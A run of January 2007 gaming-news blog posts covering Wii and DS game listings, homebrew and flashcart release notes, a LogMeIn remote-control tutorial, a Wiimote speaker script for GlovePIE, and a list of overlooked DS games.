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January 1st, 2007, 11:14 Posted By: wraggster
Divineo China have posted they have a load of new Jap and USA Wii games for those that have those versions of the Wii Console.
Dragon Ball Z Sparking! NEO JAP $ 64.00
Splinter Cell: Double Agent USA $ 58.00
Need for Speed Carbon JAP $ 55.00
Pokemon Battle Revolution JAP $ 50.00
Bleach: Wii Shiraha Kirameku Rinbukyoku JAP $ 64.00
Formula One Championship Edition JAP $ 55.00
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January 1st, 2007, 11:26 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- The disk driver changed completely.
There is a possibility that the adaptor that has worked up to now doesn't work.
I want to ask for a lot of tests.
Attention: Start NDSROM file name was changed.
folder name '/shell' was changed to '/moonshl'.
file name 'global.ini' was changed to 'moonshl.ini'.
..
Download Here --> http://mdxonline.dyndns.org/archives...albeta_e.shtml
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January 1st, 2007, 11:37 Posted By: wraggster
via wiin
Nintendo gives a 3 language safety warning
For those that have ordered replacement wrist straps, shipments have started to arrive across America in the mail.
Well packed in nice bubble wrap, and identical to the original straps, except the cord that attaches to the remote is thicker and stiffer. Other than that as pictures have suggested earlier I can assure you that the rest of the strap is unchanged.
The straps also come packed with yet another warning from Nintendo! And not just any well packed warnings but in three languages no less; Stressing how to ensure an “enjoyable and safe play experience.”
I really do suggest putting this warning away in a safe place it will become a piece of Nintendo memorabilia and when you look back through gaming history you can say- “I was there when people broke their televisions in the name of Gaming”
The new three language safety warning on how to play safe is as follows:
Before setup and use of the Wii system, please review this safety information to insure an enjoyable and safe play experience.
1) Wear the wrist strap when using the Wii Remote.
Make sure all players use the wrist strap and that the strap lock is correctly tightened. When sharing the Wii Remote between multiple players, make sure each person using the remote properly uses the wrist strap. Wearing the wrist strap will prevent you from accidentally dropping or throwing the remote during game play which could damage the remote or surrounding objects, or cause injury to other people.
2) Do not let go of the remote during game play.
For example, in a game like Wii Sports bowling, the ball is thrown by simply releasing the B Button on the remote, not by letting go of the remote! Hold the remote securely and avoid excessive motion during game play. If your hands become moist, stop and dry your hands. Excessive motion may cause you to let go of the remote and may break the wrist strap.
3) Allow adequate room around you during game play.
Stay at least three (3) feet away from the television. Make sure objects and other people are out of your range of movement or arm motion to prevent damage or injury.
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January 1st, 2007, 13:51 Posted By: wraggster
Those of you have a Neo2 Flashcart will love this, a new software update from Neoflash:
Merry X'mas and happy new year! Here is a small gift from NEOTEAM
before 2007! Hope you like it.
NEO2 Menu v1.3 [12-31-2006]
New in this version:
* Supports NDS homebrew
* "X Button to Backup ROM" message
* Many small crash fixes (Magical Vacation 5, Monster House, etc.)
* Corrupt graphics fixes (Harry Potter, Monster Bomber, etc.)
* Many non-booting games fixed (Shrek, Hi Hi Puffy AmiYumi, etc.)
* Many saves fixed (Final Fantasy III, etc.)
* Many "exit game" bugs fixed (Star Fox, Bust-A-Move, etc.)
* New Super Mario mini games fixed
* Supports the official *.SRL file format
* Added FAT warning function, it'll report an error if it detects
file system fragmentation, then please re-format your SD/TF
About homebrew:
Homebrew ROMs can only read files and directories from SD if they are
designed for it. That's why you see some with different builds for
"SC CF" and "SC SD", for example. There's nothing restricting homebrew
from using the SD file system. Chishm's NDS FAT lib should support
Neo2 SD well enough.
About file system fragmentation:
Also keep in mind that fragmented file systems are still not supported.
A fragmented ROM WILL have problems running. You can check for file
fragmentation using the "analyze" button in Windows XP's defrag tool.
If it warns of fragmentation, do not defragment. It is much faster to
erase all files or format the card, then copy everything you want back to it.
Rule of thumb: if you have to delete a file, you should delete them all.
About random crash:
The reason is because some MK4-mini burn with a wrong code during produce,
please check your MK4-mini version mark above the golden finger, if you
can see your MK4-mini is "MAGICKEY4-Mini VE1" or "MAGICKEY4-Mini VL2"
version and with PURPLE PCB color, then mean your MK4-mini MAYBE have
problem, and notice please:
[1] Except these 2 version, all other version working fine without any
random crash matter;
[2] Not all of these 2 version will crash, just SOME of them;
[3] If your MK4-mini have random crash matter and it's in these 2 version,
you can send back to the shop and ask for replacement.
download: http://www.neoflash.com/forum/index....ic,3600.0.html
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January 1st, 2007, 13:53 Posted By: wraggster
Another new release from Neoflash for Neo 2 users:
Neo2 Manager V1.6
1. Fix one save lib bug,support Golden Sun serial multi-point save,thanks bruceg
2. Add the background upgrade checking function, can check the new version automatica.
3. Start to support NEO3-SD/MiniSD/TF serial,can use this driver to burn the NEO2/3 menu.
download: http://www.neoflash.com/forum/index....ic,3603.0.html
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January 1st, 2007, 22:54 Posted By: wraggster
pimmysays who says he posted the Wii Hack Video on has posted this:
alright guys, here's the deal, "nester72" released his so called "bootloader" on to our ftp server last night, however I can now confirm that his video (which was uploaded by me) is 100% FAKE! I do apologize if I lead any one to believe that this video was more then a fake but like you, I was hoping that this video was the real deal but unfortunately it did not turn out that way. I'm sure that sometime in the near future homebrew and LEGAL backups will be playable on the wii.
So until the likes of us post that a hack is for real then take all the news with a pinch of salt until then.
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January 2nd, 2007, 00:42 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- MoonShell Ver1.6 finalbeta2
This is a version that can be used with 'M3Simply/R4/SCDS/EZ5'.
The disk driver changed completely.
There is a possibility that the adaptor that has worked up to now doesn't work.
I want to ask for a lot of tests.
Attention: Start NDSROM file name was changed.
folder name '/shell' was changed to '/moonshl'.
file name 'global.ini' was changed to 'moonshl.ini'
..
Download Here --> http://mdxonline.dyndns.org/archives...lbeta2_e.shtml
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January 2nd, 2007, 00:54 Posted By: wraggster
Dr Neo and the Neoflash team are really busy these days, heres yet another release from them:
NEO2 Ultra 1.0 BETA v1215 for NEO2 GBA [12-31-2006]
History:
* Support game FAT
* Support GBA SMS save
* Support compress GBA rom with NEO2 serial,can unzip and run the compressed GBA rom directly
* Not support SD/TF yet,and not support NDS rom yet.
Note:
[1] the current beta version is incompatible with NEO2 Manager,you have to format your cart first.
[2] How to install: unzip the zip file to any folder,then run the "register.bat", then run "Neo2UltraApp.exe"
download: http://www.neoflash.com/forum/index....ic,3608.0.html
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January 2nd, 2007, 01:28 Posted By: wraggster
Globoeil has updated his Virtual Game Maker DS app for the Nintendo DS
Heres whats new:
Updates in v.0.90 rev1:
==================
-New function in FORK: KEY ? Pressed/Released (for short instruction)
bug fixes:
-Errors with pages; some pages will never be shown.
-When an event is played more than 1 time, it will execute from the 2nd instruction.
-"Event starting condition" sometimes was set to " ", and can't be changed (in VGMDS)
(This bug is still present, sory, but now you can fix it easily).
-ELSE instruction is not effective.
(Now broken; not grave you only have to put an "ENDIF" and a "IF" instruction to make a "manual" else....
-A '2' or other number appears sometimes in the screen.
-Other minor bugs (about hero movement)
And some little improvments in VGXDS.
Coming soon:
============
Stylus precision correction
-Full objects system (you can find, buy, sell or let them...)
Change chipset
In-game interface (pause menu)
Objects & equipment effects in-game
Sell, and Buy instructions for equipment.objects
Full debug (just to remove the pink bug)
SD support
RPG battle system
Download Here --> http://perso.orange.fr/Globoeil/VGMDS/VGMDS.htm
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January 3rd, 2007, 02:38 Posted By: wraggster
The last Friday of 2006 saw Nintendo release a new selection of games on its Virtual Console and, at long last, there are some decent Super NES games in there.
Super Castlevania IV is the obvious highlight of the selection, giving veteran fans of the series an excuse to look back in admiration at one of the best episodes so far, and anyone new to the series a fantastic adventure to get on with until Portrait of Ruin arrives on DS.
Sim City is the other Super NES treat, which accompanies the Turbografix version of R-Type, and the not-so-appealing Baseball and Ice Hockey originally on NES. Unfortunately there's still no sign of Super Probotector, which was promised on a previously released schedule from Nintendo.
Toe Jam & Earl and Space Harrier II (Megadrive), Donkey Kong Jr., Tennis and Soccer (NES), and Military Madness (Turbografix) also made it to the Christmas party on December 22.
US gamers got Toe Jam and Earl, R-Type, Super Castlevania IV, and Street Fighter II (SNES) on Christmas day, with Urban Champion and Baseball making for a disappointing start to 2007 yesterday.
Less second-rate NES games, more quality Super NES games please Nintendo.
via cvg
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January 3rd, 2007, 03:15 Posted By: wraggster
via insertcredit
Some time ago, september specifically, people caught wind of a project called 'RS 3' for the 360, from Radiant Silvergun's developer Treasure. Well, browsing G-rev's Xbox 360 release schedule, right there at the bottom you'll see it clearly spelled out. "Radiant Silvergun 3 - Treasure." No date, no link, no specifics, so it's all down to believing them. But I'm sure we all want to! They also claim Nights is coming to Wii, so...I guess we'll just see. The problem with these lists is that things are put up as 'new boxing game,' and then when that turns out to be Hajimete no Ippo for Wii, the old entry isn't taken down. So that's the grain of salt you should take this with, but I'm optimistic.
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January 3rd, 2007, 03:17 Posted By: wraggster
via kotaku
I listen to a lot of talk radio when I am in the car ever since my iPod was stolen, and on my way home from work my local station broadcasts god-loving conservative Sean Hannity. On today's show a caller asked him if he had gotten all the toys he wanted for Christmas. Hannity claimed that during the first day of his vacation his son broke his leg skiing, so they spent the rest of the time inside playing the PS3 and the Wii. Note this was the last time he mentioned the PS3.
He continued, saying (paraphrasing here) that every parent needs to get a Wii to play with their children, adding that it was probably the best game they've ever made. He went on to praise all aspects of Wii Sports, especially the boxing.
So even conservative talk show hosts, historically harsh on the video game issue (Bill O'Reily and Michael Savage in particular, though I think Savage is less conservative and more bats**t insane), can't resist the sweet siren song of Wii Sports. Now all we need to do is get Shock J. Tampon to bowl a few rounds and we can take over the world.
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January 3rd, 2007, 03:23 Posted By: wraggster
via joystiq
Hudson's Dungeon Explorer missed its target launch date yesterday, leaving Urban Champion (NES) and Baseball (NES) to represent Wii Virtual Console's New Years releases. The muff doesn't sit well with TurboGrafx-16 fans who have already suffered through two Hudson VC blunders: a broken Military Madness and a pricey R-Type.
Speaking on Dungeon Explorer's tardiness, Hudson's John Master Lee cited "funky things" (bugs) appearing during last-minute tests. Lee wisely avoided suggesting a new release date, saying only that an update on the game's condition would be "coming soon."
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January 3rd, 2007, 03:58 Posted By: wraggster
via nicholas761
Control your Windows computer from your Wii!! Mouse and keyboard.
-----------
PART 1-
Setting Up Your Computer:
Only do these steps on your computer!!!
1. Go to http://logmein.com/ on your computer.
2. Create a free account.
3. Follow the steps.
4. Now, log in on their site.
5. Click on MY COMPUTERS.
6. Click ADD A COMPUTER
7. Follow the steps for adding a computer.
8. Name it whatever.
9. Make a secure access code(password) for your computer.
10. It will install the LogMeIn Desktop Software, if not already.
11. Once your computer is set up, RESTART YOUR COMPUTER!!
12. Now, go to http://logmein.com/ and log in.
13. Go to "My Computers"
14. Click on your computer name.
15. It'll say: Connecting....
16. Enter your access code(password) and log in.
17. Click on "Preferences".
18. Go to REMOTE CONTROL settings.
19. Set the the Default Remote Control from Active-X to HTML.
20. You may want to adjust a few other settings.
21. Click APPLY.
22. Click DISCONNECT.
23. Look in your system tray to the right of the taskbar. Does it have the LogMeIn icon in it? If it does, go to step 24. If it's not there, try steps 4-22 again.
24. To enable the keyboard for the Wii, click START->All Programs->
Accessories->Accessibility->On Screen Keyboard
NOTE: You must do step 24 each time you want to connect fo ra keyboard,
but you only have to do the other steps ONCE.
PART 2-
Connecting with your Wii:
You must do this every time you want to connect on your Wii.
1. Make sure your computer is on and LogMeIn is in your system tray.
2. Go to the Internet Channel Trial Version.
3. Go to the "type a web address" screen.
4. Type: logmein.com
* Save this site as a favorite for fast access.
5. Log in.
6. Go to My Computers.
7. Click on your computer name.
8. Let it connect to it. Be patient, this may take a little while.
9. Type in your access code.
10. Wait...
11. Click GO on Remote Control.
12. It might say that you are connecting with the same computer to this computer and it'll show a picture that won't happen on your Wii. Click
Connect Anyway.
This might be because your Wii connects through your router(or USB Connector) to access the Internet, and your computer has the same IP.
13. It'll load your computer screen!!!!!!!!!
Click on something with A. Double-Clicking WORKS!!! You'll notice the page will refresh when clicking. The Wii can only get one state of your computer at a time, so you will need to click the refresh icon to see something happening or what you are typing. Luckily, you don't have to click that SMALL refresh button, you can click anywhere to refresh.
This will work, as I tested it multiple times!! You can even Print documents at your computer!!!!!
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January 3rd, 2007, 04:00 Posted By: wraggster
via quasimondo
As you might know by now the Nintendo Wii is now able to run Flash 7 files. Unfortunately the Flash player that comes with the current beta is a somewhat stripped down version - and especially one very important feature is missing from the native functions: the ability to use the keys of the Wiimote controller. But as it turns out the controller keys are made available to Javascript. So Aral Balkan has already tried a lot of methods in order to pass the key information from Javascript into Flash - but it looks like that all the classic approaches either do not work at all or they come with too much delay in order to be usable in games.
Well - I think that I have found yet another a method that works pretty okay. Especially the reaction time feels good to me - the only downside is an optical glitch which I still hope to get rid of. Check the demo here - ideally on a Wii: http://www.quasimondo.com/flashhwiimote.php
BTW - you will not see anything on Firefox since I just use the OBJECT tag to embed the swf - I also tried to use SWFObject first for embedding, but somehow when using it the Wii scroll arrow started appearing above the Flash file - so it looks like the layer got a bit higher than the desired 500 pixels.
Now how does this work? Since all direct Javascript to Flash communication is either impossible or too slow I'm using an indirect method: I use the Stage.onResize event of one Flash file as a trigger and communication device. When a keypress is received by the Opera browser I scale the layer which contains a sender swf to a width that is equal to the detected key code. This triggers a resize event inside the sender swf which reads out its new width and sends that number via LocalConnection to the main swf. There it is processed by a Wiimote class which can then be similary used like a Key object.
Some things to be noted:
- in order to get the full 800 x 500 size for the main Flash file I put the sender swf and the receiver swf into two absolute positioned layers. Unfortunately the Opera browser uses the Wiimote's navigation keys also for navigating inside the html page and thus interferes with the flash file by highlighting the object with the keyboard focus with a black outline. And it looks like the browser does not respect the z-index of the layers here so the outline of the supposedly hidden sender swf gets visible. I have not yet found a way how to at least tint the outline in a less visible color or hide it completely via CSS - maybe someone else finds a solution for that.
- The Wii browser includes a very nasty feature: Flash files that are not inside the visible screen area or are on a hidden layer do not work at all - they get deactivated. Which means it's not possible to simply put the sender swf on an invisible layer.
- When you point the Wiimote to the screen and the mouse pointer gets visible the behaviour of the page changes: keypresses are not registered anymore and only the "A" button gets directed to the flash file, but in a very slow and unpredictable way. So if you want reliable control do not point the mouse to the screen. In games it would probably be a good idea to trigger a pause when the mouse appears.
- I don't know if that is a problem with the LocalConnection or with the browser's internal key detection, but it looks like sometimes some key events get lost which means that a keyDown event is detected, but the keyUp for the same key doesn't fire. Of course that's not ideal.
You can download the example files and the Wiimote class here: FlashWiiMote_v10.zip
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January 3rd, 2007, 04:04 Posted By: wraggster
Carl Kenner posted a new script for Glovepie that uses the Wiimote Speaker.
Heres the details:
Wiimote Speaker Script!!! Second attempt.
Should work in any version of GlovePIE that isn't super old.
Code:
// Carl Kenner's Wiimote Speaker Test script! Version 2
// A = start sound, B = stop sound
// Minus = decrease sample frequency
// Plus = increase sample frequency
// It takes a short time to start (due to delays built into Poke)
// Change the next line to set the rate at which sound data is sent
// BUT it must be low enough for the wiimote to respond to the B button
// it may depend on your PC speed. Must be at least 91 for freq 13.
pie.FrameRate = 120 Hz
if not var.initialized then
var.freq = 13 // Set sample rate = 3640 Hz (so computer can keep up)
var.volume = 0x40 // volume = 40 ??? Seems to be about max
debug = var.freq
var.initialized = true
end if
if var.On and (not Wiimote.One) and (not Wiimote.Two) then
// Report 18, send 20 bytes, square wave, 1/4 sample rate freq
WiimoteSend(1, 0x18, 20 shl 3, 0xCC,0x33,0xCC,0x33,0xCC,0x33,0xCC,0x33,0xCC,0x33, 0xCC,0x33,0xCC,0x33,0xCC,0x33,0xCC,0x33,0xCC,0x33)
else if var.On and Wiimote.One then
// Report 18, send 20 bytes, square wave, 1/2 sample rate freq
WiimoteSend(1, 0x18, 20 shl 3, 0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3, 0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3,0xC3)
else if var.On and Wiimote.Two then
// Report 18, send 20 bytes, square wave, 1/8 sample rate freq
WiimoteSend(1, 0x18, 20 shl 3, 0xCC,0xCC,0x33,0x33,0xCC,0xCC,0x33,0x33,0xCC,0xCC, 0x33,0x33,0xCC,0xCC,0x33,0x33,0xCC,0xCC,0x33,0x33)
end if
if pressed(Wiimote.A) then
// Enable Speaker
Wiimote.Report14 = 0x04 | Int(Wiimote.Rumble)
// Mute Speaker
Wiimote.Report19 = 0x04 | Int(Wiimote.Rumble)
// Write 0x01 to register 0xa20009
WiimotePoke(1, 0x04a20009, 0x01)
// Write 0x08 to register 0xa20001
WiimotePoke(1, 0x04a20001, 0x08)
// Write 7-byte configuration to registers 0xa20001-0xa20008
WiimotePoke(1, 0x04a20001, 0x00)
WiimotePoke(1, 0x04a20002, 0x00)
WiimotePoke(1, 0x04a20003, 0x00)
WiimotePoke(1, 0x04a20004, var.freq)
WiimotePoke(1, 0x04a20005, var.volume) // 40
WiimotePoke(1, 0x04a20006, 0x00)
WiimotePoke(1, 0x04a20007, 0x00)
// Write 0x01 to register 0xa20008
WiimotePoke(1, 0x04a20008, 0x01)
// Unmute speaker
Wiimote.Report19 = 0x00 | Int(Wiimote.Rumble)
var.On = true
end if
if pressed(Wiimote.B) then
var.On = false
Wiimote.Report19 = 0x04 | Int(Wiimote.Rumble) // Mute Speaker
Wiimote.Report14 = 0x00 | Int(Wiimote.Rumble) // Disable speaker
end if
if pressed(Wiimote.Plus) then
var.freq--
debug = var.freq
// Mute Speaker
Wiimote.Report19 = 0x04 | Int(Wiimote.Rumble)
// Write 0x01 to register 0xa20009
WiimotePoke(1, 0x04a20009, 0x01)
// Write 0x08 to register 0xa20001
WiimotePoke(1, 0x04a20001, 0x08)
// Write 7-byte configuration to registers 0xa20001-0xa20008
WiimotePoke(1, 0x04a20001, 0x00)
WiimotePoke(1, 0x04a20002, 0x00)
WiimotePoke(1, 0x04a20003, 0x00)
WiimotePoke(1, 0x04a20004, var.freq) // max volume?
WiimotePoke(1, 0x04a20005, var.volume)
WiimotePoke(1, 0x04a20006, 0x00)
WiimotePoke(1, 0x04a20007, 0x00)
// Write 0x01 to register 0xa20008
WiimotePoke(1, 0x04a20008, 0x01)
// Unmute speaker
Wiimote.Report19 = 0x00 | Int(Wiimote.Rumble)
end if
if pressed(Wiimote.Minus) then
var.freq++
debug = var.freq
// Mute Speaker
Wiimote.Report19 = 0x04 | Int(Wiimote.Rumble)
// Write 0x01 to register 0xa20009
WiimotePoke(1, 0x04a20009, 0x01)
// Write 0x08 to register 0xa20001
WiimotePoke(1, 0x04a20001, 0x08)
// Write 7-byte configuration to registers 0xa20001-0xa20008
WiimotePoke(1, 0x04a20001, 0x00)
WiimotePoke(1, 0x04a20002, 0x00)
WiimotePoke(1, 0x04a20003, 0x00)
WiimotePoke(1, 0x04a20004, var.freq) // max volume?
WiimotePoke(1, 0x04a20005, var.volume)
WiimotePoke(1, 0x04a20006, 0x00)
WiimotePoke(1, 0x04a20007, 0x00)
// Write 0x01 to register 0xa20008
WiimotePoke(1, 0x04a20008, 0x01)
// Unmute speaker
Wiimote.Report19 = 0x00 | Int(Wiimote.Rumble)
end if
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January 3rd, 2007, 04:07 Posted By: wraggster
via mattIGN
If you want to know what the weather was like eight hours ago in your city, Nintendo's Wii Forecast Channel is amazing. But if you want up-to-date information on the weather, you're in trouble. I don't know if it's Nintendo's issue or if it's a shortcoming of the data provider, weathernews, but whatever the case, the Wii Forecast Channel is rarely, if ever adequately up-to-date.
I hope someone gets their act together because if the data was current, Wii Forecast would be a great little extra. I actually check it out daily for a quick snapshot of the weather around the world. The Globe function is amazingly well done, but again, it's discouraging to look at the world map and see that it's sunny in Los Angeles but somehow the moon is out only a few miles away in Redondo Beach.
Nintendo, if you're going to do this stuff, make sure it works. Whether that means ensuring WiiConnect24 is more timely or going with a different provider, do it. Otherwise, don't bother at all.
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January 3rd, 2007, 04:12 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
Version 0.2.9.1 Released
icons1 vidplay template tweaked, video size perfect for zoom.
new config options "Update Playlist" (refreshes list of files).
includes new Ocean Theme by Aurion
Now displays the local time, not GMT.
Ocean v1.2, Wiipaper v0.4.2, Zelda v0.4.1 released in preparation for the changes made to flvplayer.
Wiipaper Theme v0.4.1
Fixed absolute address in pic_display.tpl
Download Here --> http://downloads.sourceforge.net/wmc/
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January 3rd, 2007, 04:14 Posted By: wraggster
via wiifanboy
Here's an interesting little factoid: the Wii is driving the Asian import/export market to record highs, and those are just the legal imports. No, we don't mean the act of one guy selling another guy a console, but rather the market surrounded the creation and transportation of our favorite new console. Nintendo had a big part in the record-setting month of November, when toy imports from China (where they build Wiis, as well as everything else ever) to Japan came in at a little over 200 million big ones (¥25.3billion). Apparently, the Wii was responsible for a good 40% of that amount -- nearly half! That's a huge effect, and according to Japanese newspaper Yomiuri Shinbun, "No other video game console has had such a big effect on imports."
Well, take that, analysts. You may continue to sing the imminent victory of the PS3, but the Wii drives global commerce. We hear it also serves as a volunteer firefighter on off days. Now if only you could find one ....
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January 3rd, 2007, 04:18 Posted By: wraggster
Via Revogamer comes the list of Ubisofts releases for the Wii this March
March 1
Cosmic Family
March 22
Teenage Mutant Ninja Turtles
March 29
Prince of Persia: Rival Swords
Driver Parallel Lines
Brothers in Arms D-Day
Blazing Angels
Spelling Spree
Brothers in Arms interests me
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January 3rd, 2007, 04:34 Posted By: wraggster
via cag
As someone who owns way too many DS games, it’s easy to see a few great games that the vast majority of people pass on for one reason or another. While several games, such as Elite Beat Agents, Brain Age and Cooking Mama, have benefited from being on the receiving end of positive reactions across the Internet, just as many games are passed on to fade from gamers’ collective consciousness.
This article is designed to illuminate five of the best, yet forgotten DS titles of 2006 that were lost in the shuffle of the biggest year for the biggest handheld in the world.
The Five Most Under Appreciated DS Games of 2006 (and the Cheap Ass Way to Get Them)
As a quick note, these were the five most under-loved games on Cheap Ass Gamer, not across the entire internet. That's why Contact and Dragon Quest Heroes: Rocket Slime will not appear on the main list as they've been pretty highly buzzed all year on CAG despite selling far below what we thought they should. Without further delay, here’s my list of the five most under appreciated Nintendo DS games of 2006 in no particular order:
1. Scurge: Hive
- Half Metroid, half Secret of Mana, all fun. While Scurge: Hive suffers from being almost identical to the GBA version of the game, the gameplay and story are both solid. Scurge: Hive pits you in the role of the intergalactic female bounty hunter Jenosa Arma. You suit up to fight a mutant virus ravaging a space colony, and yes, you're infected with it too. So plot-wise, this is a near total rip off of Metroid (particularly Fusion).
Why is this worth playing then? While the frosting on this cake is the same as Metroid, the cake of this game is as different as angel food and pineapple upside down cake. Because Jenosa is infected, she must constantly find purification stations to suppress the disease. If your infection reaches 100%, your health rapidly begins to decrease. The game is a constant battle between exploring the spaceship while searching for purification stations.
While the gimmick of the game is neat, Scurge: Hive would suck if the gameplay isn't as fun as it is. Playing sort of like the exploration part of Sigma Star Saga, Scurge: Hive has you exploring the world in an action RPG with your blaster and various gadgets. Furthermore, the game adds in a ton of strategy as you're given the option to change the type of energy your gun fires out. Unlike Metroid though, if you shoot an enemy with the wrong type of energy, it powers them up. This adds a huge amount of strategy to the game especially when you consider you're constantly having to find purification stations for your infections.
Scurge: Hive clocks in at around 12 hours, but multiple difficulty levels, hidden costumes and an unlockable boss rush mode lengthens the game quite a bit. Scurge: Hive can be found used currently at EB/GS for $19.99. It's an early candidate for Spring clearances as it hasn't sold that many copies.
2. Break Em' All
- Attention collectors. Break 'Em All is destined to be the next Monopoly, Battleship, Yahtzee, Boggle (currently the rarest DS game in case you're wondering). At only $20, it's a steal at the moment. Like most "rare" games, you'll probably want to pick up a copy to sell and a copy to play though because this is such a quality title.
Break 'Em All is arguably the best Breakout/Arkanoid port we've ever seen outside of the arcade. The DS control scheme allows for pinpoint controls that were never really pulled off all that well on a d-pad. Furthermore, Break 'Em All allows you to drag your stylus on any part of the screen if for some reason you don't enjoy playing on the bottom of the screen.
Break 'Em All offers a ton of replay value too. Tokoton Mode offers 50 well designed standard levels or over 3,000,000 (yes, three million) randomly generated levels of block and ball play. There's also a quest mode that adds in boss battles to the mix. Furthermore, Break 'Em All uses a neat Gradius like power up system to differentiate it from every other ball and paddle game.
Break 'Em All is a ton of fun for you and your friends. With 2-8 player single-card play, and a summer release date, I find it utterly shocking that this game never found an audience. Regardless, it's $20 right now, less if you can find it used or with a Gamer's Gift Card in Best Buy. Even if it doesn't become a huge collector's item, Break 'Em All is a ton of classic gameplay at a value price.
3. Magnetica - Of course, one of the games I choose has to be out of stock at all major retailers. Magnetica, better known in the United States as Zuma (which Popcap Games ripped off friends, not the other way around), is a puzzle game where you fling different colored marbles with your stylus at a constantly tightening string. Get three in a row and the marbles pop, combos get chained, and your score goes up. Simple, right? Well not exactly. Magnetica tosses in a variety of obstacles to try and slow you down. Between wind, black holes, magnetic walls, smoke screens, and a variety of other impediments, Magnetica is one of the most challenging puzzle games on the DS.
Magnetica (Actionloop in Europe) is easily one of the best experiences to be had with the Nintendo DS all year. The game features 99 levels of difficulty in challenge mode and 60 different and varied missions. The game also features single and multi-card competitive play that incorporates slots as a way to randomly select what hazards you’ll be sending over to your opponent (or help you’ll be giving to yourself).
Out of all of the games on this list, Magnetica is probably the most available. Being both a game published by Nintendo and part of the Touch Generations line, your local brick and mortar stores will have this in stock. Furthermore, both Best Buy and Circuit City have run sales in the past on both the entire Touch Generations line and Magnetica by itself. While Magnetica is still exceptionally high at EB Games and Gamestop ($24.99 at the writing of this article), it is a good candidate to be put on clearance in the near future. Your best bet to buy it now is through Gamefly for a mere $13.99. Don’t pass up on this puzzler that is just as addictive as it is challenging.
4. Lost Magic
- Arguably the hardest game on the Nintendo DS is also one of the most overlooked of 2006. Lost Magic is an Ubi Soft/Taito effort that sets out to make you feel like a wizard. Unlike every game on this list, Lost Magic was not a hit in the United States for a few very obvious reasons. This strategy RPG was exceptionally difficult seeing as your character died almost instantly from taking a few hits. Furthermore, your character’s offensive abilities were limited by the fact that he could only use magic to strike back at an enemy, magic that could only be cast by drawing exceptionally complex symbols that make Castlevania: Dawn of Sorrow look like kindergarten finger painting. Also, each level had a relatively challenging time limit attached to it. Beyond that, the story is as traditional a story for a fantasy RPG this side of Japan.
So why is this game worth anyone’s time then? Well, first and foremost is the excellent online play. Lost Magic lets you take your team of monsters and magic to duel others in some of the most intensely entertaining gameplay on any system. Spells have to be drawn precisely or they lose power. Mixed with the typical intensity of online play over playing against the computer, Lost Magic becomes an incredibly nerve racking experience. The game also features 2 player wireless-card play and downloadable “demo” play so a friend can try this game out.
With over 400 spells to master and hundreds of creatures to capture and train, Lost Magic is an exceptionally satisfying game if you are willing to put the time and effort into. Not unlike a World of Warcraft or Everquest, it’s quite a frustrating game to enter into at first. Thankfully, the payoff of high level Lost Magic player vs player play is as good as any game I’ve seen in 2006. Lost Magic is essentially the opposite of 90% of the games we’ve seen on the DS. It is not a quick hop in, hop out style game. Lost Magic requires time, effort and above all, sound strategy to master.
Lost Magic is another game destined for clearance in the very near future. Already down to $13.99 on Gamefly, it’s a ton of game for not a lot of cash. While certainly not for everyone, Lost Magic is well worth the money if you’re willing to put some time into the game’s substantial learning curve.
5. Bomberman Land Touch!
- It’s official. Cheap Ass Gamer is filled with people who don’t like video games. Why else would Bomberman Land Touch not be mentioned by a single soul despite being the premier multiplayer experience on the system? The Hudson Soft title takes Bomberman in the mini game direction for the single player experience and tosses Bomberman online for a more traditional, 4-player throw down.
The mini games in Bomberman Land Touch are all stylus controlled and all bomb based. These games range from the simplistic (running bombs back and forth by scratching the stylus up and down) to the substantial (bomb bowling). Overall the collection of over three dozen mini games holds up well. Considering Hudson Soft developed the Mario Party games, this comes as no surprise. While the story is completely forgettable, the mini games more then make up for this little snafu.
Bomberman Land Touch is probably the game that’ll be the most expensive for the longest. While it’s not a particularly popular title at the moment, it’s still only a couple of months old. Furthermore, it bears both the Nintendo Wi-Fi logo and the Atlus logo meaning that we could see this title at the relatively high $34.99 price tag for some time. Thankfully, the game is worth every penny. With both a compelling collection of mini games and an improved variety in the eight player single-card wireless play, Bomberman Land Touch has a huge amount of value to offer gamers.
The Rest
There are a few other overlooked games of 2006 that deserve to be mentioned despite seeing buzzed about on the CAG Forums. Most of these can be found in the recent Toys R Us clearance or in the CAG Trading Forums. Also, feel free to buy these games through Amazon to help support Cheap Ass Gamer.
Age of Empires DS
- Age of Empires offers an excellent turn based strategy conversion of the popular PC title. Just make sure your name is longer then three characters if you play this to avoid the fatal game erasing glitch.
Contact
- Take one part Earthbound and one part Monkey Island, mix in an exceptionally different combat system, add a dash of Wi-Fi and item collection and half bake it for gaming goodness. Contact is one of the most hilarious and bizarre games of 2006 that unfortunately was overlooked by everyone besides the most hardcore of gamers.
Dragon Quest Heroes: Rocket Slime
- The madcap tank battles are only matched by the game’s rock solid controls. Get into the Dragon Quest IX mood early with this fantastic action-adventure game.
Mega Man ZX
- Mega Man ZX is the best Mega Man game since the first Mega Man Battle Network. While it still has some flaws (most noticeably a very poor map system), ZX is a huge step in the right direction that is worth a look from current and former fans of the Blue Bomber alike.
The Rub Rabbits
- While the sequel to the DS launch title Feel the Magic: XX/XY commits the sin of rehashing a few of the mini games of the original, The Rub Rabbits offers enough zaniness to please fans. Furthermore, the 2-4 player single-card download play is sure to please everyone.
